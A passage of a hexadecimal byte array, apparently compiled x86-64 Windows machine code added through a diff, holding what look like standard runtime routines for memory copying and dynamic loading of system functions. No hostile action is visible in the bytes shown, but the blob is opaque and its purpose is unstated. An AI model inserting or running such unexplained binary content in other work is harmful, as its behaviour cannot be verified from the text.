0x33, 0xd2, 0xe8, 0xa6, 0x0a, 0x00, 0x00, 0x48, 0x85, + 0xdb, 0x74, 0x14, 0x48, 0x8d, 0x05, 0x8a, 0xb4, 0x01, 0x00, 0x48, 0x3b, + 0xd8, 0x74, 0x08, 0x48, 0x8b, 0xcb, 0xe8, 0x75, 0x23, 0x00, 0x00, 0x48, + 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0xe8, 0x13, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x05, 0x48, 0x83, + 0xc4, 0x28, 0xc3, 0xe8, 0xac, 0x35, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, + 0x83, 0xec, 0x20, 0x83, 0x3d, 0xd2, 0xa2, 0x01, 0x00, 0xff, 0x75, 0x07, + 0x33, 0xc0, 0xe9, 0x90, 0x00, 0x00, 0x00, 0xff, 0x15, 0xe3, 0xf3, 0x00, + 0x00, 0x8b, 0x0d, 0xbd, 0xa2, 0x01, 0x00, 0x8b, 0xf8, 0xe8, 0xee, 0x09, + 0x00, 0x00, 0x48, 0x83, 0xca, 0xff, 0x33, 0xf6, 0x48, 0x3b, 0xc2, 0x74, + 0x67, 0x48, 0x85, 0xc0, 0x74, 0x05, 0x48, 0x8b, 0xf0, 0xeb, 0x5d, 0x8b, + 0x0d, 0x9b, 0xa2, 0x01, 0x00, 0xe8, 0x16, 0x0a, 0x00, 0x00, 0x85, 0xc0, + 0x74, 0x4e, 0xba, 0x80, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0x81, 0xe8, 0x35, + 0x36, 0x00, 0x00, 0x8b, 0x0d, 0x7f, 0xa2, 0x01, 0x00, 0x48, 0x8b, 0xd8, + 0x48, 0x85, 0xc0, 0x74, 0x24, 0x48, 0x8b, 0xd0, 0xe8, 0xef, 0x09, 0x00, + 0x00, 0x85, 0xc0, 0x74, 0x12, 0x48, 0x8b, 0xc3, 0xc7, 0x43, 0x78, 0xfe, + 0xff, 0xff, 0xff, 0x48, 0x8b, 0xde, 0x48, 0x8b, 0xf0, 0xeb, 0x0d, 0x8b, + 0x0d, 0x53, 0xa2, 0x01, 0x00, 0x33, 0xd2, 0xe8, 0xcc, 0x09, 0x00, 0x00, + 0x48, 0x8b, 0xcb, 0xe8, 0xac, 0x22, 0x00, 0x00, 0x8b, 0xcf, 0xff, 0x15, + 0x64, 0xf3, 0x00, 0x00, 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x5c, 0x24, 0x30, + 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0x48, 0x8d, 0x0d, 0xa9, 0xfe, 0xff, 0xff, 0xe8, + 0xc0, 0x08, 0x00, 0x00, 0x89, 0x05, 0x12, 0xa2, 0x01, 0x00, 0x83, 0xf8, + 0xff, 0x74, 0x25, 0x48, 0x8d, 0x15, 0x76, 0xb3, 0x01, 0x00, 0x8b, 0xc8, + 0xe8, 0x7f, 0x09, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x0e, 0xc7, 0x05, 0xd9, + 0xb3, 0x01, 0x00, 0xfe, 0xff, 0xff, 0xff, 0xb0, 0x01, 0xeb, 0x07, 0xe8, + 0x08, 0x00, 0x00, 0x00, 0x32, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0x8b, 0x0d, 0xd6, 0xa1, 0x01, 0x00, 0x83, 0xf9, + 0xff, 0x74, 0x0c, 0xe8, 0xbc, 0x08, 0x00, 0x00, 0x83, 0x0d, 0xc5, 0xa1, + 0x01, 0x00, 0xff, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0x45, 0x33, 0xc0, 0x48, 0x8d, 0x0d, 0x9e, 0xb3, + 0x01, 0x00, 0xba, 0xa0, 0x0f, 0x00, 0x00, 0xe8, 0x78, 0x09, 0x00, 0x00, + 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x05, 0xb2, 0xb3, 0x01, 0x00, 0xb0, 0x01, + 0xeb, 0x07, 0xe8, 0x09, 0x00, 0x00, 0x00, 0x32, 0xc0, 0x48, 0x83, 0xc4, + 0x28, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0x1d, + 0x94, 0xb3, 0x01, 0x00, 0xeb, 0x1d, 0x48, 0x8d, 0x05, 0x63, 0xb3, 0x01, + 0x00, 0xff, 0xcb, 0x48, 0x8d, 0x0c, 0x9b, 0x48, 0x8d, 0x0c, 0xc8, 0xff, + 0x15, 0xa3, 0xf2, 0x00, 0x00, 0xff, 0x0d, 0x75, 0xb3, 0x01, 0x00, 0x85, + 0xdb, 0x75, 0xdf, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x57, 0x56, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xf2, + 0x49, 0x8b, 0xc8, 0xf3, 0xa4, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0xc1, 0x4c, 0x8d, 0x15, 0xe6, 0xd0, 0xff, 0xff, 0x49, 0x83, + 0xf8, 0x0f, 0x0f, 0x87, 0x0c, 0x01, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, + 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x8b, 0x8c, 0x82, + 0x50, 0x10, 0x02, 0x00, 0x4d, 0x03, 0xca, 0x41, 0xff, 0xe1, 0xc3, 0x90, + 0x4c, 0x8b, 0x02, 0x8b, 0x4a, 0x08, 0x44, 0x0f, 0xb7, 0x4a, 0x0c, 0x44, + 0x0f, 0xb6, 0x52, 0x0e, 0x4c, 0x89, 0x00, 0x89, 0x48, 0x08, 0x66, 0x44, + 0x89, 0x48, 0x0c, 0x44, 0x88, 0x50, 0x0e, 0xc3, 0x4c, 0x8b, 0x02, 0x0f, + 0xb7, 0x4a, 0x08, 0x44, 0x0f, 0xb6, 0x4a, 0x0a, 0x4c, 0x89, 0x00, 0x66, + 0x89, 0x48, 0x08, 0x44, 0x88, 0x48, 0x0a, 0xc3, 0x0f, 0xb7, 0x0a, 0x66, + 0x89, 0x08, 0xc3, 0x90, 0x8b, 0x0a, 0x44, 0x0f, 0xb7, 0x42, 0x04, 0x44, + 0x0f, 0xb6, 0x4a, 0x06, 0x89, 0x08, 0x66, 0x44, 0x89, 0x40, 0x04, 0x44, + 0x88, 0x48, 0x06, 0xc3, 0x4c, 0x8b, 0x02, 0x8b, 0x4a, 0x08, 0x44, 0x0f, + 0xb7, 0x4a, 0x0c, 0x4c, 0x89, 0x00, 0x89, 0x48, 0x08, 0x66, 0x44, 0x89, + 0x48, 0x0c, 0xc3, 0x0f, 0xb7, 0x0a, 0x44, 0x0f, 0xb6, 0x42, 0x02, 0x66, + 0x89, 0x08, 0x44, 0x88, 0x40, 0x02, 0xc3, 0x90, 0x4c, 0x8b, 0x02, 0x8b, + 0x4a, 0x08, 0x44, 0x0f, 0xb6, 0x4a, 0x0c, 0x4c, 0x89, 0x00, 0x89, 0x48, + 0x08, 0x44, 0x88, 0x48, 0x0c, 0xc3, 0x4c, 0x8b, 0x02, 0x0f, 0xb7, 0x4a, + 0x08, 0x4c, 0x89, 0x00, 0x66, 0x89, 0x48, 0x08, 0xc3, 0x4c, 0x8b, 0x02, + 0x0f, 0xb6, 0x4a, 0x08, 0x4c, 0x89, 0x00, 0x88, 0x48, 0x08, 0xc3, 0x4c, + 0x8b, 0x02, 0x8b, 0x4a, 0x08, 0x4c, 0x89, 0x00, 0x89, 0x48, 0x08, 0xc3, + 0x8b, 0x0a, 0x44, 0x0f, 0xb7, 0x42, 0x04, 0x89, 0x08, 0x66, 0x44, 0x89, + 0x40, 0x04, 0xc3, 0x8b, 0x0a, 0x44, 0x0f, 0xb6, 0x42, 0x04, 0x89, 0x08, + 0x44, 0x88, 0x40, 0x04, 0xc3, 0x48, 0x8b, 0x0a, 0x48, 0x89, 0x08, 0xc3, + 0x0f, 0xb6, 0x0a, 0x88, 0x08, 0xc3, 0x8b, 0x0a, 0x89, 0x08, 0xc3, 0x90, + 0x49, 0x83, 0xf8, 0x20, 0x77, 0x17, 0xf3, 0x0f, 0x6f, 0x0a, 0xf3, 0x42, + 0x0f, 0x6f, 0x54, 0x02, 0xf0, 0xf3, 0x0f, 0x7f, 0x09, 0xf3, 0x42, 0x0f, + 0x7f, 0x54, 0x01, 0xf0, 0xc3, 0x48, 0x3b, 0xd1, 0x73, 0x0e, 0x4e, 0x8d, + 0x0c, 0x02, 0x49, 0x3b, 0xc9, 0x0f, 0x82, 0x41, 0x04, 0x00, 0x00, 0x90, + 0x83, 0x3d, 0xb1, 0x9f, 0x01, 0x00, 0x03, 0x0f, 0x82, 0xe3, 0x02, 0x00, + 0x00, 0x49, 0x81, 0xf8, 0x00, 0x20, 0x00, 0x00, 0x76, 0x16, 0x49, 0x81, + 0xf8, 0x00, 0x00, 0x18, 0x00, 0x77, 0x0d, 0xf6, 0x05, 0x9a, 0xb0, 0x01, + 0x00, 0x02, 0x0f, 0x85, 0x64, 0xfe, 0xff, 0xff, 0xc5, 0xfe, 0x6f, 0x02, + 0xc4, 0xa1, 0x7e, 0x6f, 0x6c, 0x02, 0xe0, 0x49, 0x81, 0xf8, 0x00, 0x01, + 0x00, 0x00, 0x0f, 0x86, 0xc4, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xc9, 0x49, + 0x83, 0xe1, 0x1f, 0x49, 0x83, 0xe9, 0x20, 0x49, 0x2b, 0xc9, 0x49, 0x2b, + 0xd1, 0x4d, 0x03, 0xc1, 0x49, 0x81, 0xf8, 0x00, 0x01, 0x00, 0x00, 0x0f, + 0x86, 0xa3, 0x00, 0x00, 0x00, 0x49, 0x81, 0xf8, 0x00, 0x00, 0x18, 0x00, + 0x0f, 0x87, 0x3e, 0x01, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc5, 0xfe, 0x6f, 0x0a, + 0xc5, 0xfe, 0x6f, 0x52, 0x20, 0xc5, 0xfe, 0x6f, 0x5a, 0x40, 0xc5, 0xfe, + 0x6f, 0x62, 0x60, 0xc5, 0xfd, 0x7f, 0x09, 0xc5, 0xfd, 0x7f, 0x51, 0x20, + 0xc5, 0xfd, 0x7f, 0x59, 0x40, 0xc5, 0xfd, 0x7f, 0x61, 0x60, 0xc5, 0xfe, + 0x6f, 0x8a, 0x80, 0x00, 0x00, 0x00, 0xc5, 0xfe, 0x6f, 0x92, 0xa0, 0x00, + 0x00, 0x00, 0xc5, 0xfe, 0x6f, 0x9a, 0xc0, 0x00, 0x00, 0x00, 0xc5, 0xfe, + 0x6f, 0xa2, 0xe0, 0x00, 0x00, 0x00, 0xc5, 0xfd, 0x7f, 0x89, 0x80, 0x00, + 0x00, 0x00, 0xc5, 0xfd, 0x7f, 0x91, 0xa0, 0x00, 0x00, 0x00, 0xc5, 0xfd, + 0x7f, 0x99, 0xc0, 0x00, 0x00, 0x00, 0xc5, 0xfd, 0x7f, 0xa1, 0xe0, 0x00, + 0x00, 0x00, 0x48, 0x81, 0xc1, 0x00, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc2, + 0x00, 0x01, 0x00, 0x00, 0x49, 0x81, 0xe8, 0x00, 0x01, 0x00, 0x00, 0x49, + 0x81, 0xf8, 0x00, 0x01, 0x00, 0x00, 0x0f, 0x83, 0x78, 0xff, 0xff, 0xff, + 0x4d, 0x8d, 0x48, 0x1f, 0x49, 0x83, 0xe1, 0xe0, 0x4d, 0x8b, 0xd9, 0x49, + 0xc1, 0xeb, 0x05, 0x47, 0x8b, 0x9c, 0x9a, 0x90, 0x10, 0x02, 0x00, 0x4d, + 0x03, 0xda, 0x41, 0xff, 0xe3, 0xc4, 0xa1, 0x7e, 0x6f, 0x8c, 0x0a, 0x00, + 0xff, 0xff, 0xff, 0xc4, 0xa1, 0x7e, 0x7f, 0x8c, 0x09, 0x00, 0xff, 0xff, + 0xff, 0xc4, 0xa1, 0x7e, 0x6f, 0x8c, 0x0a, 0x20, 0xff, 0xff, 0xff, 0xc4, + 0xa1, 0x7e, 0x7f, 0x8c, 0x09, 0x20, 0xff, 0xff, 0xff, 0xc4, 0xa1, 0x7e, + 0x6f, 0x8c, 0x0a, 0x40, 0xff, 0xff, 0xff, 0xc4, 0xa1, 0x7e, 0x7f, 0x8c, + 0x09, 0x40, 0xff, 0xff, 0xff, 0xc4, 0xa1, 0x7e, 0x6f, 0x8c, 0x0a, 0x60, + 0xff, 0xff, 0xff, 0xc4, 0xa1, 0x7e, 0x7f, 0x8c, 0x09, 0x60, 0xff, 0xff, + 0xff, 0xc4, 0xa1, 0x7e, 0x6f, 0x4c, 0x0a, 0x80, 0xc4, 0xa1, 0x7e, 0x7f, + 0x4c, 0x09, 0x80, 0xc4, 0xa1, 0x7e, 0x6f, 0x4c, 0x0a, 0xa0, 0xc4, 0xa1, + 0x7e, 0x7f, 0x4c, 0x09, 0xa0, 0xc4, 0xa1, 0x7e, 0x6f, 0x4c, 0x0a, 0xc0, + 0xc4, 0xa1, 0x7e, 0x7f, 0x4c, 0x09, 0xc0, 0xc4, 0xa1, 0x7e, 0x7f, 0x6c, + 0x01, 0xe0, 0xc5, 0xfe, 0x7f, 0x00, 0xc5, 0xf8, 0x77, 0xc3, 0x66, 0x90, + 0xc5, 0xfe, 0x6f, 0x0a, 0xc5, 0xfe, 0x6f, 0x52, 0x20, 0xc5, 0xfe, 0x6f, + 0x5a, 0x40, 0xc5, 0xfe, 0x6f, 0x62, 0x60, 0xc5, 0xfd, 0xe7, 0x09, 0xc5, + 0xfd, 0xe7, 0x51, 0x20, 0xc5, 0xfd, 0xe7, 0x59, 0x40, 0xc5, 0xfd, 0xe7, + 0x61, 0x60, 0xc5, 0xfe, 0x6f, 0x8a, 0x80, 0x00, 0x00, 0x00, 0xc5, 0xfe, + 0x6f, 0x92, 0xa0, 0x00, 0x00, 0x00, 0xc5, 0xfe, 0x6f, 0x9a, 0xc0, 0x00, + 0x00, 0x00, 0xc5, 0xfe, 0x6f, 0xa2, 0xe0, 0x00, 0x00, 0x00, 0xc5, 0xfd, + 0xe7, 0x89, 0x80, 0x00, 0x00, 0x00, 0xc5, 0xfd, 0xe7, 0x91, 0xa0, 0x00, + 0x00, 0x00, 0xc5, 0xfd, 0xe7, 0x99, 0xc0, 0x00, 0x00, 0x00, 0xc5, 0xfd, + 0xe7, 0xa1, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc1, 0x00, 0x01, 0x00, + 0x00, 0x48, 0x81, 0xc2, 0x00, 0x01, 0x00, 0x00, 0x49, 0x81, 0xe8, 0x00, + 0x01, 0x00, 0x00, 0x49, 0x81, 0xf8, 0x00, 0x01, 0x00, 0x00, 0x0f, 0x83, + 0x78, 0xff, 0xff, 0xff, 0x4d, 0x8d, 0x48, 0x1f, 0x49, 0x83, 0xe1, 0xe0, + 0x4d, 0x8b, 0xd9, 0x49, 0xc1, 0xeb, 0x05, 0x47, 0x8b, 0x9c, 0x9a, 0xb4, + 0x10, 0x02, 0x00, 0x4d, 0x03, 0xda, 0x41, 0xff, 0xe3, 0xc4, 0xa1, 0x7e, + 0x6f, 0x8c, 0x0a, 0x00, 0xff, 0xff, 0xff, 0xc4, 0xa1, 0x7d, 0xe7, 0x8c, + 0x09, 0x00, 0xff, 0xff, 0xff, 0xc4, 0xa1, 0x7e, 0x6f, 0x8c, 0x0a, 0x20, + 0xff, 0xff, 0xff, 0xc4, 0xa1, 0x7d, 0xe7, 0x8c, 0x09, 0x20, 0xff, 0xff, + 0xff, 0xc4, 0xa1, 0x7e, 0x6f, 0x8c, 0x0a, 0x40, 0xff, 0xff, 0xff, 0xc4, + 0xa1, 0x7d, 0xe7, 0x8c, 0x09, 0x40, 0xff, 0xff, 0xff, 0xc4, 0xa1, 0x7e, + 0x6f, 0x8c, 0x0a, 0x60, 0xff, 0xff, 0xff, 0xc4, 0xa1, 0x7d, 0xe7, 0x8c, + 0x09, 0x60, 0xff, 0xff, 0xff, 0xc4, 0xa1, 0x7e, 0x6f, 0x4c, 0x0a, 0x80, + 0xc4, 0xa1, 0x7d, 0xe7, 0x4c, 0x09, 0x80, 0xc4, 0xa1, 0x7e, 0x6f, 0x4c, + 0x0a, 0xa0, 0xc4, 0xa1, 0x7d, 0xe7, 0x4c, 0x09, 0xa0, 0xc4, 0xa1, 0x7e, + 0x6f, 0x4c, 0x0a, 0xc0, 0xc4, 0xa1, 0x7d, 0xe7, 0x4c, 0x09, 0xc0, 0xc4, + 0xa1, 0x7e, 0x7f, 0x6c, 0x01, 0xe0, 0xc5, 0xfe, 0x7f, 0x00, 0x0f, 0xae, + 0xf8, 0xc5, 0xf8, 0x77, 0xc3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0x81, 0xf8, 0x00, + 0x08, 0x00, 0x00, 0x76, 0x0d, 0xf6, 0x05, 0xc0, 0xad, 0x01, 0x00, 0x02, + 0x0f, 0x85, 0x8a, 0xfb, 0xff, 0xff, 0xf3, 0x0f, 0x6f, 0x02, 0xf3, 0x42, + 0x0f, 0x6f, 0x6c, 0x02, 0xf0, 0x49, 0x81, 0xf8, 0x80, 0x00, 0x00, 0x00, + 0x0f, 0x86, 0x8e, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xc9, 0x49, 0x83, 0xe1, + 0x0f, 0x49, 0x83, 0xe9, 0x10, 0x49, 0x2b, 0xc9, 0x49, 0x2b, 0xd1, 0x4d, + 0x03, 0xc1, 0x49, 0x81, 0xf8, 0x80, 0x00, 0x00, 0x00, 0x76, 0x71, 0x0f, + 0x1f, 0x44, 0x00, 0x00, 0xf3, 0x0f, 0x6f, 0x0a, 0xf3, 0x0f, 0x6f, 0x52, + 0x10, 0xf3, 0x0f, 0x6f, 0x5a, 0x20, 0xf3, 0x0f, 0x6f, 0x62, 0x30, 0x66, + 0x0f, 0x7f, 0x09, 0x66, 0x0f, 0x7f, 0x51, 0x10, 0x66, 0x0f, 0x7f, 0x59, + 0x20, 0x66, 0x0f, 0x7f, 0x61, 0x30, 0xf3, 0x0f, 0x6f, 0x4a, 0x40, 0xf3, + 0x0f, 0x6f, 0x52, 0x50, 0xf3, 0x0f, 0x6f, 0x5a, 0x60, 0xf3, 0x0f, 0x6f, + 0x62, 0x70, 0x66, 0x0f, 0x7f, 0x49, 0x40, 0x66, 0x0f, 0x7f, 0x51, 0x50, + 0x66, 0x0f, 0x7f, 0x59, 0x60, 0x66, 0x0f, 0x7f, 0x61, 0x70, 0x48, 0x81, + 0xc1, 0x80, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc2, 0x80, 0x00, 0x00, 0x00, + 0x49, 0x81, 0xe8, 0x80, 0x00, 0x00, 0x00, 0x49, 0x81, 0xf8, 0x80, 0x00, + 0x00, 0x00, 0x73, 0x94, 0x4d, 0x8d, 0x48, 0x0f, 0x49, 0x83, 0xe1, 0xf0, + 0x4d, 0x8b, 0xd9, 0x49, 0xc1, 0xeb, 0x04, 0x47, 0x8b, 0x9c, 0x9a, 0xd8, + 0x10, 0x02, 0x00, 0x4d, 0x03, 0xda, 0x41, 0xff, 0xe3, 0xf3, 0x42, 0x0f, + 0x6f, 0x4c, 0x0a, 0x80, 0xf3, 0x42, 0x0f, 0x7f, 0x4c, 0x09, 0x80, 0xf3, + 0x42, 0x0f, 0x6f, 0x4c, 0x0a, 0x90, 0xf3, 0x42, 0x0f, 0x7f, 0x4c, 0x09, + 0x90, 0xf3, 0x42, 0x0f, 0x6f, 0x4c, 0x0a, 0xa0, 0xf3, 0x42, 0x0f, 0x7f, + 0x4c, 0x09, 0xa0, 0xf3, 0x42, 0x0f, 0x6f, 0x4c, 0x0a, 0xb0, 0xf3, 0x42, + 0x0f, 0x7f, 0x4c, 0x09, 0xb0, 0xf3, 0x42, 0x0f, 0x6f, 0x4c, 0x0a, 0xc0, + 0xf3, 0x42, 0x0f, 0x7f, 0x4c, 0x09, 0xc0, 0xf3, 0x42, 0x0f, 0x6f, 0x4c, + 0x0a, 0xd0, 0xf3, 0x42, 0x0f, 0x7f, 0x4c, 0x09, 0xd0, 0xf3, 0x42, 0x0f, + 0x6f, 0x4c, 0x0a, 0xe0, 0xf3, 0x42, 0x0f, 0x7f, 0x4c, 0x09, 0xe0, 0xf3, + 0x42, 0x0f, 0x7f, 0x6c, 0x01, 0xf0, 0xf3, 0x0f, 0x7f, 0x00, 0xc3, 0x66, + 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xd9, 0x4c, + 0x8b, 0xd2, 0x48, 0x2b, 0xd1, 0x49, 0x03, 0xc8, 0x0f, 0x10, 0x44, 0x11, + 0xf0, 0x48, 0x83, 0xe9, 0x10, 0x49, 0x83, 0xe8, 0x10, 0xf6, 0xc1, 0x0f, + 0x74, 0x17, 0x48, 0x8b, 0xc1, 0x48, 0x83, 0xe1, 0xf0, 0x0f, 0x10, 0xc8, + 0x0f, 0x10, 0x04, 0x11, 0x0f, 0x11, 0x08, 0x4c, 0x8b, 0xc1, 0x4d, 0x2b, + 0xc3, 0x4d, 0x8b, 0xc8, 0x49, 0xc1, 0xe9, 0x07, 0x74, 0x6f, 0x0f, 0x29, + 0x01, 0xeb, 0x14, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0f, 0x29, 0x41, 0x10, 0x0f, 0x29, 0x09, 0x0f, + 0x10, 0x44, 0x11, 0xf0, 0x0f, 0x10, 0x4c, 0x11, 0xe0, 0x48, 0x81, 0xe9, + 0x80, 0x00, 0x00, 0x00, 0x0f, 0x29, 0x41, 0x70, 0x0f, 0x29, 0x49, 0x60, + 0x0f, 0x10, 0x44, 0x11, 0x50, 0x0f, 0x10, 0x4c, 0x11, 0x40, 0x49, 0xff, + 0xc9, 0x0f, 0x29, 0x41, 0x50, 0x0f, 0x29, 0x49, 0x40, 0x0f, 0x10, 0x44, + 0x11, 0x30, 0x0f, 0x10, 0x4c, 0x11, 0x20, 0x0f, 0x29, 0x41, 0x30, 0x0f, + 0x29, 0x49, 0x20, 0x0f, 0x10, 0x44, 0x11, 0x10, 0x0f, 0x10, 0x0c, 0x11, + 0x75, 0xae, 0x0f, 0x29, 0x41, 0x10, 0x49, 0x83, 0xe0, 0x7f, 0x0f, 0x28, + 0xc1, 0x4d, 0x8b, 0xc8, 0x49, 0xc1, 0xe9, 0x04, 0x74, 0x1a, 0x66, 0x66, + 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x11, 0x01, 0x48, + 0x83, 0xe9, 0x10, 0x0f, 0x10, 0x04, 0x11, 0x49, 0xff, 0xc9, 0x75, 0xf0, + 0x49, 0x83, 0xe0, 0x0f, 0x74, 0x08, 0x41, 0x0f, 0x10, 0x0a, 0x41, 0x0f, + 0x11, 0x0b, 0x0f, 0x11, 0x01, 0x49, 0x8b, 0xc3, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, + 0x48, 0x83, 0xec, 0x20, 0x8b, 0xf9, 0x4c, 0x8d, 0x3d, 0x53, 0xca, 0xff, + 0xff, 0x49, 0x83, 0xce, 0xff, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xe8, 0x4c, + 0x8b, 0xea, 0x49, 0x8b, 0x84, 0xff, 0x68, 0xe2, 0x01, 0x00, 0x90, 0x49, + 0x3b, 0xc6, 0x0f, 0x84, 0xeb, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, + 0x85, 0xe4, 0x00, 0x00, 0x00, 0x4d, 0x3b, 0xc1, 0x0f, 0x84, 0xd1, 0x00, + 0x00, 0x00, 0x8b, 0x75, 0x00, 0x49, 0x8b, 0x9c, 0xf7, 0x50, 0xe2, 0x01, + 0x00, 0x90, 0x48, 0x85, 0xdb, 0x74, 0x0b, 0x49, 0x3b, 0xde, 0x0f, 0x85, + 0x99, 0x00, 0x00, 0x00, 0xeb, 0x6b, 0x4d, 0x8b, 0xbc, 0xf7, 0x88, 0x31, + 0x01, 0x00, 0x33, 0xd2, 0x49, 0x8b, 0xcf, 0x41, 0xb8, 0x00, 0x08, 0x00, + 0x00, 0xff, 0x15, 0x9d, 0xeb, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, + 0xc0, 0x75, 0x56, 0xff, 0x15, 0x2f, 0xeb, 0x00, 0x00, 0x83, 0xf8, 0x57, + 0x75, 0x2d, 0x44, 0x8d, 0x43, 0x07, 0x49, 0x8b, 0xcf, 0x48, 0x8d, 0x15, + 0x04, 0xfc, 0x00, 0x00, 0xe8, 0xaf, 0x2d, 0x00, 0x00, 0x85, 0xc0, 0x74, + 0x16, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x49, 0x8b, 0xcf, 0xff, 0x15, 0x65, + 0xeb, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x75, 0x1e, 0x49, + 0x8b, 0xc6, 0x4c, 0x8d, 0x3d, 0xa3, 0xc9, 0xff, 0xff, 0x49, 0x87, 0x84, + 0xf7, 0x50, 0xe2, 0x01, 0x00, 0x48, 0x83, 0xc5, 0x04, 0x49, 0x3b, 0xec, + 0xe9, 0x67, 0xff, 0xff, 0xff, 0x48, 0x8b, 0xc3, 0x4c, 0x8d, 0x3d, 0x85, + 0xc9, 0xff, 0xff, 0x49, 0x87, 0x84, 0xf7, 0x50, 0xe2, 0x01, 0x00, 0x48, + 0x85, 0xc0, 0x74, 0x09, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0x0f, 0xeb, 0x00, + 0x00, 0x49, 0x8b, 0xd5, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0x0b, 0xeb, 0x00, + 0x00, 0x48, 0x85, 0xc0, 0x74, 0x0d, 0x48, 0x8b, 0xc8, 0x49, 0x87, 0x8c, + 0xff, 0x68, 0xe2, 0x01, 0x00, 0xeb, 0x0a, 0x4d, 0x87, 0xb4, 0xff, 0x68, + 0xe2, 0x01, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, + 0x6c, 0x24, 0x58, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x20, + 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0xc3, 0xcc, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x4c, 0x8d, 0x0d, + 0x68, 0xfb, 0x00, 0x00, 0x33, 0xc9, 0x4c, 0x8d, 0x05, 0x57, 0xfb, 0x00, + 0x00, 0x48, 0x8d, 0x15, 0x58, 0xfb, 0x00, 0x00, 0xe8, 0x8b, 0xfe, 0xff, + 0xff, 0x48, 0x85, 0xc0, 0x74, 0x0f, 0x48, 0x8b, 0xcb, 0x48, 0x83, 0xc4, + 0x20, 0x5b, 0x48, 0xff, 0x25, 0xf7, 0xeb, 0x00, 0x00, 0x48, 0x83, 0xc4, + 0x20, 0x5b, 0x48, 0xff, 0x25, 0x63, 0xea, 0x00, 0x00, 0xcc, 0xcc, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xd9, 0x4c, 0x8d, 0x0d, 0x39, + 0xfb, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x05, 0x25, + 0xfb, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x26, 0xfb, 0x00, 0x00, 0xe8, 0x41, + 0xfe, 0xff, 0xff, 0x8b, 0xcb, 0x48, 0x85, 0xc0, 0x74, 0x0c, 0x48, 0x83, + 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0xae, 0xeb, 0x00, 0x00, 0x48, 0x83, + 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x32, 0xea, 0x00, 0x00, 0xcc, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xd9, 0x4c, 0x8d, 0x0d, 0x01, + 0xfb, 0x00, 0x00, 0xb9, 0x02, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x05, 0xed, + 0xfa, 0x00, 0x00, 0x48, 0x8d, 0x15, 0xee, 0xfa, 0x00, 0x00, 0xe8, 0xf9, + 0xfd, 0xff, 0xff, 0x8b, 0xcb, 0x48, 0x85, 0xc0, 0x74, 